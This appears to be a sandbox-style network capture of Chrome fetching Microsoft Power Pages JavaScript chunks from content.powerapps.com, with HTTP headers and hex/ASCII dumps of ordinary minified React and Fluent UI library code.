19	192.168.2.7	49830	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/170.c9e6b9a6e9.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:02 UTC	826	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:02 GMT Content-Type: application/x-javascript Content-Length: 42864 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000C9 x-ms-static-content: ze0000022 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 03c0d1a4-1f7a-4039-809f-5f71961a47c0 x-ms-correlation-id: beddae31-061d-41a3-9d45-14dff474a4a0 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=28.5,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-1848b945c76pcmcbhC1MNZ83xc00000001800000000063rn X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:02 UTC	15558	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 30 5d 2c 7b 34 31 37 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 41 63 74 69 6f 6e 4d 65 74 68 6f 64 73 57 69 74 68 43 6f 6e 66 69 67 3a 28 29 3d 3e 43 65 2c 43 61 6e 76 61 73 3a 28 29 3d 3e 47 2c 43 6f 72 65 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 3a 28 29 3d 3e 67 65 2c 44 65 66 61 75 6c 74 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 3a 28 29 3d 3e 45 65 2c 44 65 72 69 76 65 64 43 6f Data Ascii: (self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[170],{4170:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ActionMethodsWithConfig:()=>Ce,Canvas:()=>G,CoreEventHandlers:()=>ge,DefaultEventHandlers:()=>Ee,DerivedCo
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 6d 65 3d 73 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 73 2e 6e 61 6d 65 7c 7c 6f 2e 64 61 74 61 2e 64 69 73 70 6c 61 79 4e 61 6d 65 2c 6f 2e 64 61 74 61 2e 70 72 6f 70 73 3d 76 28 76 28 7b 7d 2c 73 2e 70 72 6f 70 73 7c 7c 73 2e 64 65 66 61 75 6c 74 50 72 6f 70 73 7c 7c 7b 7d 29 2c 6f 2e 64 61 74 61 2e 70 72 6f 70 73 29 2c 6f 2e 64 61 74 61 2e 63 75 73 74 6f 6d 3d 76 28 76 28 7b 7d 2c 73 2e 63 75 73 74 6f 6d 7c 7c 7b 7d 29 2c 6f 2e 64 61 74 61 2e 63 75 73 74 6f 6d 29 2c 6e 75 6c 6c 21 3d 73 2e 69 73 43 61 6e 76 61 73 26 26 28 6f 2e 64 61 74 61 2e 69 73 43 61 6e 76 61 73 3d 73 2e 69 73 43 61 6e 76 61 73 29 2c 73 2e 72 75 6c 65 73 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 2e 72 75 6c 65 73 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: me=s.displayName\|\|s.name\|\|o.data.displayName,o.data.props=v(v({},s.props\|\|s.defaultProps\|\|{}),o.data.props),o.data.custom=v(v({},s.custom\|\|{}),o.data.custom),null!=s.isCanvas&&(o.data.isCanvas=s.isCanvas),s.rules&&Object.keys(s.rules).forEach((function(e)
2025-01-15 14:12:02 UTC	10922	IN	Data Raw: 64 64 4e 6f 64 65 54 72 65 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 28 65 2c 74 2c 7b 74 79 70 65 3a 22 63 68 69 6c 64 22 2c 69 6e 64 65 78 3a 72 7d 29 7d 2c 64 65 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 65 28 65 2e 6e 6f 64 65 73 2c 6e 2c 7b 65 78 69 73 74 4f 6e 6c 79 3a 21 30 2c 69 64 4f 6e 6c 79 3a 21 30 7d 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 6e 6f 64 65 3b 28 30 2c 69 2e 41 29 28 21 74 2e 6e 6f 64 65 28 6e 2e 69 64 29 2e 69 73 54 6f 70 4c 65 76 65 6c 4e 6f 64 65 28 29 2c 72 2e 5a 51 29 2c 61 28 6e 2e 69 64 29 7d 29 29 7d 2c 64 65 73 65 72 69 61 6c 69 7a 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 Data Ascii: ddNodeTree:function(e,t,r){n(e,t,{type:"child",index:r})},delete:function(n){ne(e.nodes,n,{existOnly:!0,idOnly:!0}).forEach((function(e){var n=e.node;(0,i.A)(!t.node(n.id).isTopLevelNode(),r.ZQ),a(n.id)}))},deserialize:function(e){var n="string"==typeof e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49833	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/867.0578a1c628.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:02 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:02 GMT Content-Type: application/x-javascript Content-Length: 123137 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AF x-ms-static-content: ZE000000Z Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 6265e608-91d9-4ce1-a1bc-88acec4d5fcc x-ms-correlation-id: 7484e779-3fa8-415b-b319-57b9d848ed9d x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=11.8,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-17f859c6f6b4zskvhC1MNZce9s00000000y0000000002hz1 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:02 UTC	15530	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 36 37 5d 2c 7b 37 31 32 31 3a 65 3d 3e 7b 0a 2f 2a 0a 6f 62 6a 65 63 74 2d 61 73 73 69 67 6e 0a 28 63 29 20 53 69 6e 64 72 65 20 53 6f 72 68 75 73 0a 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 2a 2f 0a 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 72 3d 4f 62 6a Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[867],{7121:e=>{/object-assign(c) Sindre Sorhus@license MIT/var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Obj
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 28 22 61 6e 69 6d 61 74 69 6f 6e 69 74 65 72 61 74 69 6f 6e 22 29 2c 59 65 3d 4b 65 28 22 61 6e 69 6d 61 74 69 6f 6e 73 74 61 72 74 22 29 2c 58 65 3d 4b 65 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 2c 47 65 3d 22 61 62 6f 72 74 20 63 61 6e 70 6c 61 79 20 63 61 6e 70 6c 61 79 74 68 72 6f 75 67 68 20 64 75 72 61 74 69 6f 6e 63 68 61 6e 67 65 20 65 6d 70 74 69 65 64 20 65 6e 63 72 79 70 74 65 64 20 65 6e 64 65 64 20 65 72 72 6f 72 20 6c 6f 61 64 65 64 64 61 74 61 20 6c 6f 61 64 65 64 6d 65 74 61 64 61 74 61 20 6c 6f 61 64 73 74 61 72 74 20 70 61 75 73 65 20 70 6c 61 79 20 70 6c 61 79 69 6e 67 20 70 72 6f 67 72 65 73 73 20 72 61 74 65 63 68 61 6e 67 65 20 73 65 65 6b 65 64 20 73 65 65 6b 69 6e 67 20 73 74 61 6c 6c 65 64 20 73 75 73 70 65 6e 64 20 74 Data Ascii: ("animationiteration"),Ye=Ke("animationstart"),Xe=Ke("transitionend"),Ge="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange seeked seeking stalled suspend t
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 6e 61 74 69 76 65 45 76 65 6e 74 3b 65 26 26 28 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 3f 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3a 22 75 6e 6b 6e 6f 77 6e 22 21 3d 74 79 70 65 6f 66 20 65 2e 63 61 6e 63 65 6c 42 75 62 62 6c 65 26 26 28 65 2e 63 61 6e 63 65 6c 42 75 62 62 6c 65 3d 21 30 29 2c 74 68 69 73 2e 69 73 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 71 6e 29 7d 2c 70 65 72 73 69 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 73 50 65 72 73 69 73 74 65 6e 74 3d 71 6e 7d 2c 69 73 50 65 72 73 69 73 74 65 6e 74 3a 59 6e 2c 64 65 73 74 72 75 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 Data Ascii: opPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=qn)},persist:function(){this.isPersistent=qn},isPersistent:Yn,destructor:function(){v
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 73 70 65 6e 73 65 43 6f 6e 66 69 67 3a 74 2c 74 61 67 3a 30 2c 70 61 79 6c 6f 61 64 3a 6e 75 6c 6c 2c 63 61 6c 6c 62 61 63 6b 3a 6e 75 6c 6c 2c 6e 65 78 74 3a 6e 75 6c 6c 7d 29 2e 6e 65 78 74 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6d 69 28 65 2c 74 29 7b 69 66 28 6e 75 6c 6c 21 3d 3d 28 65 3d 65 2e 75 70 64 61 74 65 51 75 65 75 65 29 29 7b 76 61 72 20 6e 3d 28 65 3d 65 2e 73 68 61 72 65 64 29 2e 70 65 6e 64 69 6e 67 3b 6e 75 6c 6c 3d 3d 3d 6e 3f 74 2e 6e 65 78 74 3d 74 3a 28 74 2e 6e 65 78 74 3d 6e 2e 6e 65 78 74 2c 6e 2e 6e 65 78 74 3d 74 29 2c 65 2e 70 65 6e 64 69 6e 67 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 69 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 61 6c 74 65 72 6e 61 74 65 3b 6e 75 6c 6c 21 3d 3d 6e 26 26 64 69 28 6e 2c 65 29 2c 6e 75 6c 6c 3d 3d Data Ascii: spenseConfig:t,tag:0,payload:null,callback:null,next:null}).next=e}function mi(e,t){if(null!==(e=e.updateQueue)){var n=(e=e.shared).pending;null===n?t.next=t:(t.next=n.next,n.next=t),e.pending=t}}function hi(e,t){var n=e.alternate;null!==n&&di(n,e),null==
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 44 65 66 65 72 72 65 64 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 69 61 28 65 29 2c 72 3d 6e 5b 30 5d 2c 6c 3d 6e 5b 31 5d 3b 72 65 74 75 72 6e 20 73 61 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 42 69 2e 73 75 73 70 65 6e 73 65 3b 42 69 2e 73 75 73 70 65 6e 73 65 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 6e 75 6c 6c 3a 74 3b 74 72 79 7b 6c 28 65 29 7d 66 69 6e 61 6c 6c 79 7b 42 69 2e 73 75 73 70 65 6e 73 65 3d 6e 7d 7d 29 2c 5b 65 2c 74 5d 29 2c 72 7d 2c 75 73 65 54 72 61 6e 73 69 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 69 61 28 21 31 29 2c 6e 3d 74 5b 30 5d 3b 72 65 74 75 72 6e 20 74 3d 74 5b 31 5d 2c 5b 67 61 28 62 61 2e 62 69 6e 64 28 6e 75 6c 6c 2c 74 2c 65 29 2c 5b 74 2c 65 5d Data Ascii: DeferredValue:function(e,t){var n=ia(e),r=n[0],l=n[1];return sa((function(){var n=Bi.suspense;Bi.suspense=void 0===t?null:t;try{l(e)}finally{Bi.suspense=n}}),[e,t]),r},useTransition:function(e){var t=ia(!1),n=t[0];return t=t[1],[ga(ba.bind(null,t,e),[t,e]
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 3d 6e 2d 31 29 3b 72 2e 69 73 42 61 63 6b 77 61 72 64 73 3f 28 6f 2e 73 69 62 6c 69 6e 67 3d 74 2e 63 68 69 6c 64 2c 74 2e 63 68 69 6c 64 3d 6f 29 3a 28 6e 75 6c 6c 21 3d 3d 28 6e 3d 72 2e 6c 61 73 74 29 3f 6e 2e 73 69 62 6c 69 6e 67 3d 6f 3a 74 2e 63 68 69 6c 64 3d 6f 2c 72 2e 6c 61 73 74 3d 6f 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 72 2e 74 61 69 6c 3f 28 30 3d 3d 3d 72 2e 74 61 69 6c 45 78 70 69 72 61 74 69 6f 6e 26 26 28 72 2e 74 61 69 6c 45 78 70 69 72 61 74 69 6f 6e 3d 42 6c 28 29 2b 35 30 30 29 2c 6e 3d 72 2e 74 61 69 6c 2c 72 2e 72 65 6e 64 65 72 69 6e 67 3d 6e 2c 72 2e 74 61 69 6c 3d 6e 2e 73 69 62 6c 69 6e 67 2c 72 2e 6c 61 73 74 45 66 66 65 63 74 3d 74 2e 6c 61 73 74 45 66 66 65 63 74 2c 72 2e 72 Data Ascii: xpirationTime=n-1);r.isBackwards?(o.sibling=t.child,t.child=o):(null!==(n=r.last)?n.sibling=o:t.child=o,r.last=o)}return null!==r.tail?(0===r.tailExpiration&&(r.tailExpiration=Bl()+500),n=r.tail,r.rendering=n,r.tail=n.sibling,r.lastEffect=t.lastEffect,r.r
2025-01-15 14:12:02 UTC	16384	IN	Data Raw: 20 61 20 3c 53 75 73 70 65 6e 73 65 20 66 61 6c 6c 62 61 63 6b 3d 2e 2e 2e 3e 20 63 6f 6d 70 6f 6e 65 6e 74 20 68 69 67 68 65 72 20 69 6e 20 74 68 65 20 74 72 65 65 20 74 6f 20 70 72 6f 76 69 64 65 20 61 20 6c 6f 61 64 69 6e 67 20 69 6e 64 69 63 61 74 6f 72 20 6f 72 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 74 6f 20 64 69 73 70 6c 61 79 2e 22 2b 76 65 28 61 29 29 7d 51 6f 21 3d 3d 41 6f 26 26 28 51 6f 3d 52 6f 29 2c 6f 3d 6c 6f 28 6f 2c 61 29 2c 66 3d 69 3b 64 6f 7b 73 77 69 74 63 68 28 66 2e 74 61 67 29 7b 63 61 73 65 20 33 3a 75 3d 6f 2c 66 2e 65 66 66 65 63 74 54 61 67 7c 3d 34 30 39 36 2c 66 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 3d 74 2c 68 69 28 66 2c 54 6f 28 66 2c 75 2c 74 29 29 3b 62 72 65 61 6b 20 65 3b 63 61 73 65 20 31 3a 75 3d 6f 3b 76 61 Data Ascii: a <Suspense fallback=...> component higher in the tree to provide a loading indicator or placeholder to display."+ve(a))}Qo!==Ao&&(Qo=Ro),o=lo(o,a),f=i;do{switch(f.tag){case 3:u=o,f.effectTag\|=4096,f.expirationTime=t,hi(f,To(f,u,t));break e;case 1:u=o;va
2025-01-15 14:12:02 UTC	9303	IN	Data Raw: 65 54 79 70 65 26 26 31 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 28 38 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 22 20 72 65 61 63 74 2d 6d 6f 75 6e 74 2d 70 6f 69 6e 74 2d 75 6e 73 74 61 62 6c 65 20 22 21 3d 3d 65 2e 6e 6f 64 65 56 61 6c 75 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 63 28 65 2c 74 2c 6e 2c 72 2c 6c 29 7b 76 61 72 20 69 3d 6e 2e 5f 72 65 61 63 74 52 6f 6f 74 43 6f 6e 74 61 69 6e 65 72 3b 69 66 28 69 29 7b 76 61 72 20 61 3d 69 2e 5f 69 6e 74 65 72 6e 61 6c 52 6f 6f 74 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6c 29 7b 76 61 72 20 6f 3d 6c 3b 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 65 63 28 61 29 3b 6f 2e 63 61 6c 6c 28 65 29 7d 7d 4a 75 28 74 2c 61 2c 65 2c 6c 29 7d 65 6c 73 65 7b 69 66 Data Ascii: eType&&11!==e.nodeType&&(8!==e.nodeType\|\|" react-mount-point-unstable "!==e.nodeValue))}function ic(e,t,n,r,l){var i=n._reactRootContainer;if(i){var a=i._internalRoot;if("function"==typeof l){var o=l;l=function(){var e=ec(a);o.call(e)}}Ju(t,a,e,l)}else{if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49838	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:02 UTC	407	OUT	GET /resource/powerappsportal/controls/host/559.69ac38aa0b.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:03 UTC	827	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:02 GMT Content-Type: application/x-javascript Content-Length: 630500 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA000001Y x-ms-static-content: ZE0000015 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: cbaea486-982d-4707-a6ca-4d688835d15a x-ms-correlation-id: 58be8f02-8b14-4eab-a37c-d9aa9fbc8a8b x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=43.3,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141202Z-1848b945c768dwb6hC1MNZqm3g00000000pg00000000a2wc X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:03 UTC	15557	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 68 6f 73 74 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 35 39 2c 39 30 5d 2c 7b 36 38 31 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 73 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 72 3d 6e 28 35 31 33 36 29 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 21 30 29 3b 76 61 72 20 6f 3d 21 31 3b 69 66 28 65 26 26 74 29 69 66 28 6e 29 69 66 28 65 3d 3d 3d 74 29 6f 3d 21 30 3b 65 6c 73 65 20 66 6f 72 28 6f 3d 21 31 Data Ascii: (self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[559,90],{6815:(e,t,n)=>{"use strict";n.d(t,{s:()=>o});var r=n(5136);function o(e,t,n){void 0===n&&(n=!0);var o=!1;if(e&&t)if(n)if(e===t)o=!0;else for(o=!1
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 63 63 75 72 72 65 6e 63 65 3a 22 ee b6 9b 22 2c 54 69 6d 65 6c 69 6e 65 3a 22 ee b6 9c 22 2c 45 64 69 74 4e 6f 74 65 3a 22 ee b6 9d 22 2c 43 69 72 63 6c 65 48 61 6c 66 46 75 6c 6c 3a 22 ee b6 9e 22 2c 52 6f 6f 6d 3a 22 ee b6 9f 22 2c 55 6e 73 75 62 73 63 72 69 62 65 3a 22 ee b6 a0 22 2c 53 75 62 73 63 72 69 62 65 3a 22 ee b6 a1 22 2c 48 61 72 64 44 72 69 76 65 3a 22 ee b6 a2 22 2c 52 65 63 75 72 72 69 6e 67 54 61 73 6b 3a 22 ee b6 b2 22 2c 54 61 73 6b 4d 61 6e 61 67 65 72 3a 22 ee b6 b7 22 2c 54 61 73 6b 4d 61 6e 61 67 65 72 4d 69 72 72 6f 72 65 64 3a 22 ee b6 b8 22 2c 43 6f 6d 62 69 6e 65 3a 22 ee b6 bb 22 2c 53 70 6c 69 74 3a 22 ee b6 bc 22 2c 44 6f 75 62 6c 65 43 68 65 76 72 6f 6e 55 70 3a 22 ee b6 bd 22 2c 44 6f 75 62 6c 65 43 68 65 76 72 6f 6e 4c 65 Data Ascii: ccurrence:"",Timeline:"",EditNote:"",CircleHalfFull:"",Room:"",Unsubscribe:"",Subscribe:"",HardDrive:"",RecurringTask:"",TaskManager:"",TaskManagerMirrored:"",Combine:"",Split:"",DoubleChevronUp:"",DoubleChevronLe
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 67 6f 3a 22 ef 91 8c 22 2c 54 46 56 43 4c 6f 67 6f 3a 22 ef 91 8d 22 2c 50 72 6f 6a 65 63 74 4c 6f 67 6f 33 32 3a 22 ef 91 be 22 2c 50 72 6f 6a 65 63 74 4c 6f 67 6f 46 69 6c 6c 33 32 3a 22 ef 91 bf 22 2c 50 72 6f 6a 65 63 74 4c 6f 67 6f 31 36 3a 22 ef 92 80 22 2c 50 72 6f 6a 65 63 74 4c 6f 67 6f 46 69 6c 6c 31 36 3a 22 ef 92 81 22 2c 53 77 61 79 4c 6f 67 6f 33 32 3a 22 ef 92 82 22 2c 53 77 61 79 4c 6f 67 6f 46 69 6c 6c 33 32 3a 22 ef 92 83 22 2c 53 77 61 79 4c 6f 67 6f 31 36 3a 22 ef 92 84 22 2c 53 77 61 79 4c 6f 67 6f 46 69 6c 6c 31 36 3a 22 ef 92 85 22 2c 43 6c 61 73 73 4e 6f 74 65 62 6f 6f 6b 4c 6f 67 6f 33 32 3a 22 ef 92 86 22 2c 43 6c 61 73 73 4e 6f 74 65 62 6f 6f 6b 4c 6f 67 6f 46 69 6c 6c 33 32 3a 22 ef 92 87 22 2c 43 6c 61 73 73 4e 6f 74 65 62 6f Data Ascii: go:"",TFVCLogo:"",ProjectLogo32:"",ProjectLogoFill32:"",ProjectLogo16:"",ProjectLogoFill16:"",SwayLogo32:"",SwayLogoFill32:"",SwayLogo16:"",SwayLogoFill16:"",ClassNotebookLogo32:"",ClassNotebookLogoFill32:"",ClassNotebo
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 76 61 72 20 61 3d 74 2e 67 65 74 43 6c 61 73 73 4e 61 6d 65 28 29 3b 74 2e 69 6e 73 65 72 74 52 75 6c 65 28 22 40 66 6f 6e 74 2d 66 61 63 65 7b 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 7d 22 29 2c 21 30 29 2c 74 2e 63 61 63 68 65 43 6c 61 73 73 4e 61 6d 65 28 61 2c 6e 2c 5b 5d 2c 5b 22 66 6f 6e 74 2d 66 61 63 65 22 2c 6e 5d 29 7d 7d 7d 2c 38 39 34 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 75 2c 6c 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 72 3d 6e 28 39 30 31 38 29 2c 6f 3d 6e 28 34 32 38 32 29 2c 69 3d 6e 28 34 36 32 34 29 2c 61 3d 6e 28 33 35 32 34 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 74 3d 30 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 Data Ascii: var a=t.getClassName();t.insertRule("@font-face{".concat(n,"}"),!0),t.cacheClassName(a,n,[],["font-face",n])}}},8940:(e,t,n)=>{"use strict";n.d(t,{L:()=>u,l:()=>s});var r=n(9018),o=n(4282),i=n(4624),a=n(3524);function s(){for(var e=[],t=0;t<arguments.leng
2025-01-15 14:12:03 UTC	16384	IN	Data Raw: 28 6e 75 6c 6c 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 63 75 72 72 65 6e 74 29 72 65 74 75 72 6e 20 54 28 6e 2e 63 75 72 72 65 6e 74 2c 69 2e 64 65 66 61 75 6c 74 56 69 65 77 29 7d 29 2c 5b 6e 2c 69 5d 29 2c 6e 7d 63 6f 6e 73 74 20 49 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 66 75 69 2e 73 6c 6f 74 52 65 6e 64 65 72 46 75 6e 63 74 69 6f 6e 22 29 2c 4e 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 66 75 69 2e 73 6c 6f 74 45 6c 65 6d 65 6e 74 54 79 70 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 4c 28 65 2c 74 29 7b 63 6f 6e 73 74 7b 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 6e 2c 65 6c 65 6d 65 6e 74 54 79 70 65 3a 6f 7d 3d 74 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 Data Ascii: (null==i?void 0:i.defaultView)&&n.current)return T(n.current,i.defaultView)}),[n,i]),n}const I=Symbol.for("fui.slotRenderFunction"),N=Symbol.for("fui.slotElementType");function L(e,t){const{defaultProps:n,elementType:o}=t,i=function(e){if("string"==typeof
